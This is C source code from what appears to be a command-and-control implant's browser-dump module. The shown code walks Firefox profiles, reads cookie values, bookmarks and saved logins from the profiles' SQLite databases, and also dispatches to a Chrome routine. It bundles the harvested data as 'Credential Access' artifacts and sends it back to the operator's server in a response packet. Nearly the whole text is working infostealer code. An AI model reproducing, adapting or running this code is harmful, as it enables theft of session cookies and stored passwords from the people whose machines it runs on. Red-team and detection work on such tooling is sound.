        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Could not read profiles.ini\n");
        return;
    }
    _inf("DumpFirefoxBrowser: Read profiles.ini, size=%lu bytes", BufferSize);

    // Truncate Path to just the base directory (remove "profiles.ini", keep trailing backslash)
    Path[PathSize] = L'\0';
    CHAR PathBaseA[MAX_PATH * 2];
    WideCharToMultiByte(CP_UTF8, 0, Path, -1, PathBaseA, MAX_PATH * 2, NULL, NULL);
    _inf("DumpFirefoxBrowser: Base path (after truncation): %s (PathSize=%lu)", PathBaseA, PathSize);

    // Save the base path to restore it before each iteration
    WCHAR BasePath[MAX_PATH * 2];
    wcscpy_s(BasePath, MAX_PATH * 2, Path);

    // IMPORTANT: Initialize context BEFORE any SQL queries
    // This ensures artifacts/credentials are added to the correct response packet
    ctx.respuesta = respuesta;
    ctx.salida = salida;
    ctx.appBoundKey = NULL;
    ctx.browserName = "firefox";
    ctx.cookieCount = 0;
    ctx.bookmarkCount = 0;
    ctx.loginCount = 0;
    ctx.cookiesHeaderPrinted = FALSE;
    ctx.bookmarksHeaderPrinted = FALSE;
    ctx.loginsHeaderPrinted = FALSE;
    ctx.profileHeaderPrinted = FALSE;
    ctx.profileName[0] = '\0';

    _inf("DumpFirefoxBrowser: Starting profile iteration");

    // Iterate over each profile
    INT ProfileCount = 0;
    for (ProfilePath = strstr(Buffer, "Path="); ProfilePath != 0; ProfilePath = strstr(ProfilePath + sizeof("Path="), "Path=")) {
        ProfileCount++;
        _inf("DumpFirefoxBrowser: Found profile #%d", ProfileCount);
        
        // Restore Path to base path before processing each profile
        wcscpy_s(Path, MAX_PATH * 2, BasePath);
        
        LineEnd = strchr(ProfilePath, '\n');
        if (LineEnd == 0) {
            _wrn("DumpFirefoxBrowser: No newline found for profile path");
            break;
        }
        *LineEnd = '\0';

        // Convert path separators
        for (PCHAR Char = ProfilePath + sizeof("Path=") - 1; Char < LineEnd; Char++) {
            if (*Char == '/') *Char = '\\';
        }

        BOOLEAN IsRelative = (*(ProfilePath - 3) == '1');
        
        if (IsRelative) {
            // Relative path: append to Path directly (like the original code)
            // Path already contains the base directory (e.g., "C:\Users\...\AppData\Roaming\Mozilla\Firefox\")
            // PathSize is the length of that base path (including trailing backslash)
            // In the original code, it uses sizeof("Path") which is 5 (includes null terminator)
            // But profiles.ini has "Path=", so we use sizeof("Path=") - 1 = 5 to skip "Path="
            PCHAR ProfilePathStart = ProfilePath + sizeof("Path=") - 1; // Skip "Path=" (5 chars)
            
            // Find the actual end of the path (skip \r if present before \n)
            PCHAR ActualLineEnd = LineEnd;
            if (ActualLineEnd > ProfilePathStart && *(ActualLineEnd - 1) == '\r') {
                ActualLineEnd--; // Skip the \r character
            }
            SIZE_T ProfilePathLen = ActualLineEnd - ProfilePathStart;
            SIZE_T RemainingSpace = (MAX_PATH * 2) - PathSize - 1; // -1 for null terminator
            
            _inf("DumpFirefoxBrowser: Profile path string: %.*s (len=%zu)", (INT)ProfilePathLen, ProfilePathStart, ProfilePathLen);
            CHAR PathBeforeA[MAX_PATH * 2];
            WideCharToMultiByte(CP_UTF8, 0, Path, -1, PathBeforeA, MAX_PATH * 2, NULL, NULL);
            _inf("DumpFirefoxBrowser: Path before conversion (PathSize=%lu, actual_len=%zu): %s", PathSize, wcslen(Path), PathBeforeA);
            
            // Verify Path is properly null-terminated at PathSize
            if (Path[PathSize] != L'\0') {
                _wrn("DumpFirefoxBrowser: Path not properly truncated at PathSize, forcing null termination");
                Path[PathSize] = L'\0'; // Force null termination
            }
            
            // Change all occurrences of '/' to '\' so it becomes a valid Windows path (like the original)
            // Use ActualLineEnd instead of LineEnd to avoid including \r
            for (PCHAR Char = ProfilePathStart; Char < ActualLineEnd; Char++) {
                if (*Char == '/') {
                    *Char = '\\';
                }
            }
            
            _inf("DumpFirefoxBrowser: Profile path after / to \\ conversion: %.*s (len=%zu)", (INT)ProfilePathLen, ProfilePathStart, ProfilePathLen);
            
            // Create a null-terminated copy of the profile path to ensure mbstowcs doesn't read beyond
            CHAR ProfilePathCopy[256];
            SIZE_T CopyLen = (ProfilePathLen < sizeof(ProfilePathCopy) - 1) ? ProfilePathLen : sizeof(ProfilePathCopy) - 1;
            memcpy(ProfilePathCopy, ProfilePathStart, CopyLen);
            ProfilePathCopy[CopyLen] = '\0';
            _inf("DumpFirefoxBrowser: Profile path copy: %s (len=%zu)", ProfilePathCopy, CopyLen);
            
            // Convert profile path from multibyte to wide char, appending to Path
            // mbstowcs returns the number of wide chars written (not including null terminator)
            // In the original: mbstowcs(FirefoxPath + FirefoxPathSize, ProfilePath + sizeof("Path"), MAX_PATH - FirefoxPathSize)
            // Note: mbstowcs does NOT write a null terminator, and may not write all characters if buffer is too small
            // IMPORTANT: Use the null-terminated copy to ensure mbstowcs doesn't read beyond the intended length
            _inf("DumpFirefoxBrowser: Calling mbstowcs(Path+%lu, \"%s\", %zu)", PathSize, ProfilePathCopy, RemainingSpace);
            
            // Clear the destination area first to avoid corruption
            memset(Path + PathSize, 0, (MAX_PATH * 2 - PathSize) * sizeof(WCHAR));
            
            SIZE_T ConvertedLen = mbstowcs(Path + PathSize, ProfilePathCopy, RemainingSpace);
            if (ConvertedLen == (SIZE_T)-1) {
                _err("DumpFirefoxBrowser: mbstowcs failed, errno=%d", errno);
                *LineEnd = '\n';
                continue;
            }
            if (ConvertedLen >= RemainingSpace) {
                _err("DumpFirefoxBrowser: Profile path too long (ConvertedLen=%zu, RemainingSpace=%zu)", ConvertedLen, RemainingSpace);
                *LineEnd = '\n';
                continue;
            }
            _inf("DumpFirefoxBrowser: mbstowcs succeeded, ConvertedLen=%zu", ConvertedLen);
            
            // Verify what was written
            WCHAR CheckWritten[100];
            SIZE_T CheckCopyLen = (ConvertedLen < 99) ? ConvertedLen : 99;
            wcsncpy(CheckWritten, Path + PathSize, CheckCopyLen);
            CheckWritten[CheckCopyLen] = L'\0';
            CHAR CheckWrittenA[100];
            WideCharToMultiByte(CP_UTF8, 0, CheckWritten, -1, CheckWrittenA, 100, NULL, NULL);
            _inf("DumpFirefoxBrowser: Content written by mbstowcs (first 99 chars): %s", CheckWrittenA);
            
            // In the original code, it calculates the backslash position as:
            // *(FirefoxPath + FirefoxPathSize + (LineEnd - ProfilePath) - sizeof("Path=")) = L'\\';
            // But that's the same as: FirefoxPathSize + (LineEnd - ProfilePathStart) = FirefoxPathSize + ProfilePathLen
            // Since ConvertedLen should equal ProfilePathLen (in wide chars), we use ConvertedLen
            // Add trailing backslash at the end of the converted path
            Path[PathSize + ConvertedLen] = L'\\';
            Path[PathSize + ConvertedLen + 1] = L'\0';
            
            // Verify the full path before using it
            NewDirectory = Path;
            SIZE_T FullPathLen = wcslen(NewDirectory);
            _inf("DumpFirefoxBrowser: Full path length after construction: %zu (expected: %lu)", FullPathLen, PathSize + ConvertedLen + 1);
            
            // Verify each character in the path is valid (check around PathSize where we wrote)
            _inf("DumpFirefoxBrowser: Checking characters around PathSize (47) and after:");
            SIZE_T StartCheck = (PathSize > 5) ? PathSize - 5 : 0;
            SIZE_T EndCheck = (PathSize + ConvertedLen + 5 < FullPathLen) ? PathSize + ConvertedLen + 5 : FullPathLen;
            for (SIZE_T i = StartCheck; i < EndCheck; i++) {
                WCHAR ch = NewDirectory[i];
                CHAR chA = (ch < 128 && ch > 0 && ch != 0) ? (CHAR)ch : '?';
                _inf("DumpFirefoxBrowser: Path[%zu] = 0x%04X ('%c')", i, (UINT16)ch, chA);
            }
            
            // Verify the path doesn't have any null bytes in the middle
            BOOLEAN HasNullInMiddle = FALSE;
            for (SIZE_T i = 0; i < FullPathLen; i++) {
                if (NewDirectory[i] == L'\0') {
                    _err("DumpFirefoxBrowser: Found null byte in middle of path at index %zu", i);
                    HasNullInMiddle = TRUE;
                    break;
                }
            }
            if (HasNullInMiddle) {
                _err("DumpFirefoxBrowser: Path has null bytes in the middle, skipping this profile");
                *LineEnd = '\n';
                continue;
            }
            
            // Log the full path - use wprintf-style for wide chars to avoid conversion issues
            CHAR NewDirectoryA[MAX_PATH * 2];
            INT ConvertResult = WideCharToMultiByte(CP_UTF8, 0, NewDirectory, -1, NewDirectoryA, MAX_PATH * 2, NULL, NULL);
            if (ConvertResult == 0) {
                DWORD ConvertError = GetLastError();
                _err("DumpFirefoxBrowser: WideCharToMultiByte failed, GetLastError=%lu", ConvertError);
                // Try to log the wide char path directly using a different method
                _inf("DumpFirefoxBrowser: Wide char path (first 100 chars): %ws", NewDirectory);
            } else {
                _inf("DumpFirefoxBrowser: Profile #%d is relative path: %s (ConvertedLen=%zu, PathSize=%lu, FullPathLen=%zu)", 
                     ProfileCount, NewDirectoryA, ConvertedLen, PathSize, FullPathLen);
            }
        } else {
            // Absolute path
            mbstowcs(BufferW, ProfilePath + sizeof("Path=") - 1, MAX_PATH);
            wcscat(BufferW, L"\\");
            NewDirectory = BufferW;
            CHAR NewDirectoryA[MAX_PATH];
            WideCharToMultiByte(CP_UTF8, 0, NewDirectory, -1, NewDirectoryA, MAX_PATH, NULL, NULL);
            _inf("DumpFirefoxBrowser: Profile #%d is absolute path: %s", ProfileCount, NewDirectoryA);
        }

        // Check if directory exists before trying to change to it
        // First verify the wide char path is valid
        SIZE_T DirPathLen = wcslen(NewDirectory);
        _inf("DumpFirefoxBrowser: Checking directory existence, path length=%zu", DirPathLen);
        
        DWORD DirAttrib = GetFileAttributesW(NewDirectory);
        DWORD LastError = GetLastError();
        if (DirAttrib == INVALID_FILE_ATTRIBUTES || !(DirAttrib & FILE_ATTRIBUTE_DIRECTORY)) {
            CHAR NewDirectoryA[MAX_PATH * 2];
            INT ConvertResult = WideCharToMultiByte(CP_UTF8, 0, NewDirectory, -1, NewDirectoryA, MAX_PATH * 2, NULL, NULL);
            if (ConvertResult == 0) {
                _err("DumpFirefoxBrowser: Profile directory does not exist (WideCharToMultiByte also failed), GetLastError=%lu, DirAttrib=0x%08X", LastError, DirAttrib);
            } else {
                _err("DumpFirefoxBrowser: Profile directory does not exist or is not a directory: %s, GetLastError=%lu, DirAttrib=0x%08X", NewDirectoryA, LastError, DirAttrib);
            }
            *LineEnd = '\n';
            continue;
        }
        _inf("DumpFirefoxBrowser: Directory exists and is valid");

        if (SetCurrentDirectoryW(NewDirectory) == FALSE) {
            CHAR NewDirectoryA[MAX_PATH];
            WideCharToMultiByte(CP_UTF8, 0, NewDirectory, -1, NewDirectoryA, MAX_PATH, NULL, NULL);
            _err("DumpFirefoxBrowser: Failed to set current directory to %s, GetLastError=%lu", NewDirectoryA, GetLastError());
            *LineEnd = '\n';
            continue;
        }
        CHAR NewDirectoryA[MAX_PATH];
        WideCharToMultiByte(CP_UTF8, 0, NewDirectory, -1, NewDirectoryA, MAX_PATH, NULL, NULL);
        _inf("DumpFirefoxBrowser: Changed to profile directory: %s", NewDirectoryA);

        // Reset counters and flags for this profile
        ctx.cookieCount = 0;
        ctx.bookmarkCount = 0;
        ctx.loginCount = 0;
        ctx.cookiesHeaderPrinted = FALSE;
        ctx.bookmarksHeaderPrinted = FALSE;
        ctx.loginsHeaderPrinted = FALSE;
        ctx.profileHeaderPrinted = FALSE;

        // Extract profile name from the path for display
        // Try to get the directory name from the path (e.g., "Profiles\xxxxx.default" -> "xxxxx.default")
        PCHAR ProfileNameStart = ProfilePath + sizeof("Path=") - 1;
        PCHAR ProfileNameEnd = strchr(ProfileNameStart, '\n');
        CHAR ProfileDisplay[256] = {0};
        
        if (ProfileNameEnd && ProfileNameEnd > ProfileNameStart) {
            if (*(ProfileNameEnd - 1) == '\r') {
                ProfileNameEnd--; // Skip \r if present
            }
            SIZE_T ProfileNameLen = ProfileNameEnd - ProfileNameStart;
            // Extract just the directory name (after last backslash or slash)
            PCHAR LastSlash = strrchr(ProfileNameStart, '\\');
            PCHAR LastFwdSlash = strrchr(ProfileNameStart, '/');
            PCHAR LastSep = (LastSlash > LastFwdSlash) ? LastSlash : LastFwdSlash;
            if (LastSep && LastSep < ProfileNameEnd) {
                ProfileNameStart = LastSep + 1;
                ProfileNameLen = ProfileNameEnd - ProfileNameStart;
            }
            SIZE_T ProfileDisplayLen = (ProfileNameLen < sizeof(ProfileDisplay) - 1) ? ProfileNameLen : sizeof(ProfileDisplay) - 1;
            memcpy(ProfileDisplay, ProfileNameStart, ProfileDisplayLen);
            ProfileDisplay[ProfileDisplayLen] = '\0';
        }
        
        // If we couldn't extract a name, use "Unknown"
        if (ProfileDisplay[0] == '\0') {
            strncpy_s(ProfileDisplay, sizeof(ProfileDisplay), "Unknown", _TRUNCATE);
        }
        
        // Store profile name in context for callbacks to use
        strncpy_s(ctx.profileName, sizeof(ctx.profileName), ProfileDisplay, _TRUNCATE);

        // Process all data first (cookies, bookmarks, logins) to count content
        // Headers will be printed by callbacks when they find the first item

        // Dump Cookies
        _inf("DumpFirefoxBrowser: Opening cookies.sqlite for profile #%d", ProfileCount);
        if (sqlite3_open_v2("cookies.sqlite", &Database, SQLITE_OPEN_READONLY, NULL) == SQLITE_OK) {
            _inf("DumpFirefoxBrowser: Successfully opened cookies.sqlite");
            CONST CHAR CookiesSqlQuery[] = "SELECT host, path, isSecure, name, datetime(expiry / 1000, 'unixepoch', 'localtime') AS expiry, value, expiry AS expiry_raw, isHttpOnly FROM moz_cookies;";
            INT SqlResult = sqlite3_exec(Database, CookiesSqlQuery, FirefoxCookiesCallback, &ctx, &ErrorMessage);
            if (SqlResult != SQLITE_OK) {
                _err("DumpFirefoxBrowser: SQLite error executing cookies query: %s", ErrorMessage ? ErrorMessage : "Unknown error");
            } else {
                _inf("DumpFirefoxBrowser: Cookies query executed successfully");
            }
            if (ErrorMessage) {
                sqlite3_free(ErrorMessage);
            }
            sqlite3_close_v2(Database);
            
            // Report artifact after processing cookies
            CHAR artifactMsg[512] = {0};
            snprintf(artifactMsg, sizeof(artifactMsg), "Browser Credential Access: %s Cookies database", ctx.browserName);
            addArtifact(ctx.respuesta, "Credential Access", artifactMsg);
        } else {
            _err("DumpFirefoxBrowser: Failed to open cookies.sqlite, error: %s", sqlite3_errmsg(Database));
        }

        // Dump Bookmarks
        _inf("DumpFirefoxBrowser: Opening places.sqlite for profile #%d", ProfileCount);
        if (sqlite3_open_v2("places.sqlite", &Database, SQLITE_OPEN_READONLY, NULL) == SQLITE_OK) {
            _inf("DumpFirefoxBrowser: Successfully opened places.sqlite");
            CONST CHAR BookmarksSqlQuery[] = "SELECT moz_bookmarks.title, moz_places.url FROM moz_bookmarks INNER JOIN moz_places ON moz_bookmarks.fk = moz_places.id;";
            INT SqlResult = sqlite3_exec(Database, BookmarksSqlQuery, FirefoxBookmarksCallback, &ctx, &ErrorMessage);
            if (SqlResult != SQLITE_OK) {
                _err("DumpFirefoxBrowser: SQLite error executing bookmarks query: %s", ErrorMessage ? ErrorMessage : "Unknown error");
            } else {
                _inf("DumpFirefoxBrowser: Bookmarks query executed successfully");
            }
            if (ErrorMessage) {
                sqlite3_free(ErrorMessage);
            }
            sqlite3_close_v2(Database);
        } else {
            _err("DumpFirefoxBrowser: Failed to open places.sqlite, error: %s", sqlite3_errmsg(Database));
        }

        // Dump Saved Logins
        // Note: DumpFirefoxLogins will increment ctx.loginCount internally
        DumpFirefoxLogins(respuesta, salida, ctx.browserName, &ctx.loginCount, &ctx);

        // Note: Profile header and section headers are printed by callbacks when they find content
        // If no content is found, nothing is printed (meeting user's requirement)

        *LineEnd = '\n';
    }

    _inf("DumpFirefoxBrowser: Processed %d profiles, cleaning up", ProfileCount);
    HeapFree(GetProcessHeap(), 0, Buffer);
    _inf("DumpFirefoxBrowser: Completed Firefox dump");
}

/**
 * @brief Main function to dump browser data
 */
VOID DumparNavegador(PAnalizador argumentos) {
    // Read task UUID first (36 bytes)
    SIZE_T tamanoUuid = 36;
    PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
    
    // Then read number of arguments
    UINT32 nbArg = getInt32(argumentos);
    
    PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
    addString(respuesta, tareaUuid, FALSE);
    PPaquete salida = nuevoPaquete(0, FALSE);
    // Temporary packet to accumulate artifacts/credentials during dump execution
    // We'll add them to respuesta AFTER the output to match parser expectations
    PPaquete artifacts = nuevoPaquete(0, FALSE);
    
    if (nbArg < 1) {
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Browser name required\n");
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(artifacts);
        liberarPaquete(respuesta);
        return;
    }

    // Read browser name parameter
    SIZE_T browserLen = 0;
    PCHAR browserName = getString(argumentos, &browserLen);
    
    if (!browserName) {
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Could not read browser name\n");
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
        mandarPaquete(respuesta);
        liberarPaquete(salida);
        liberarPaquete(artifacts);
        liberarPaquete(respuesta);
        return;
    }

    // Normalize browser name to lowercase
    for (SIZE_T i = 0; i < browserLen && browserName[i] != '\0'; i++) {
        if (browserName[i] >= 'A' && browserName[i] <= 'Z') {
            browserName[i] = browserName[i] + 32;
        }
    }

    PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Dumping browser: %s\n", browserName);
    PackageAddFormatPrintf(salida, FALSE, "============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "||         Browser Credential Dump         ||\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n\n");

    // Determine browser type and dump
    // IMPORTANT: All output is accumulated in 'salida' during dump execution
    // Artifacts/credentials are accumulated in 'artifacts' during dump execution
    // We will add output first, then artifacts/credentials to match parser expectations
    // The parser expects: UUID (36 bytes) + Output size (4 bytes) + Output data + Artifacts/Credentials
    if (strcmp(browserName, "firefox") == 0) {
        _inf("DumparNavegador: Calling DumpFirefoxBrowser");
        DumpFirefoxBrowser(artifacts, salida);
        _inf("DumparNavegador: DumpFirefoxBrowser completed");
    } else if (strcmp(browserName, "chrome") == 0) {
        _inf("DumparNavegador: Calling DumpChromiumBrowser for %s", browserName);
        DumpChromiumBrowser(browserName, "", artifacts, salida);
        _inf("DumparNavegador: DumpChromiumBrowser completed");
    } else {
        _err("DumparNavegador: Unsupported browser: %s", browserName);
        PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Error: Unsupported browser: %s\n", browserName);
        PackageAddFormatPrintf(salida, FALSE, "Supported browsers: chrome, firefox\n");
    }

    if (browserName) {
        LocalFree(browserName);
    }

    // Add summary message
    PackageAddFormatPrintf(salida, FALSE, "\n============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "||            Dump Completed               ||\n");
    PackageAddFormatPrintf(salida, FALSE, "============================================\n");
    PackageAddFormatPrintf(salida, FALSE, "[browser_dump] Browser dump completed successfully\n");
    
    // IMPORTANT: Add ALL output to response FIRST
    // The parser expects: UUID (36 bytes) + Output size (4 bytes) + Output data + Artifacts/Credentials
    _inf("DumparNavegador: Adding ALL output to response, output length=%zu", salida->length);
    if (salida->length > 0) {
        addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
    } else {
        // Even if no output, we must add the size field (0)
        addInt32(respuesta, 0);
    }
    
    // IMPORTANT: Add artifacts/credentials AFTER the output
    // Copy artifacts/credentials from temporary packet to respuesta
    _inf("DumparNavegador: Adding artifacts/credentials to response, length=%zu", artifacts->length);
    if (artifacts->length > 0) {
        // Copy artifacts/credentials data directly (they already have their markers)
        addBytes(respuesta, (PBYTE)artifacts->buffer, artifacts->length, FALSE);
    }
    
    _inf("DumparNavegador: Sending response packet");
    mandarPaquete(respuesta);
    liberarPaquete(salida);
    liberarPaquete(artifacts);
    liberarPaquete(respuesta);
    _inf("DumparNavegador: Browser dump command completed");
}

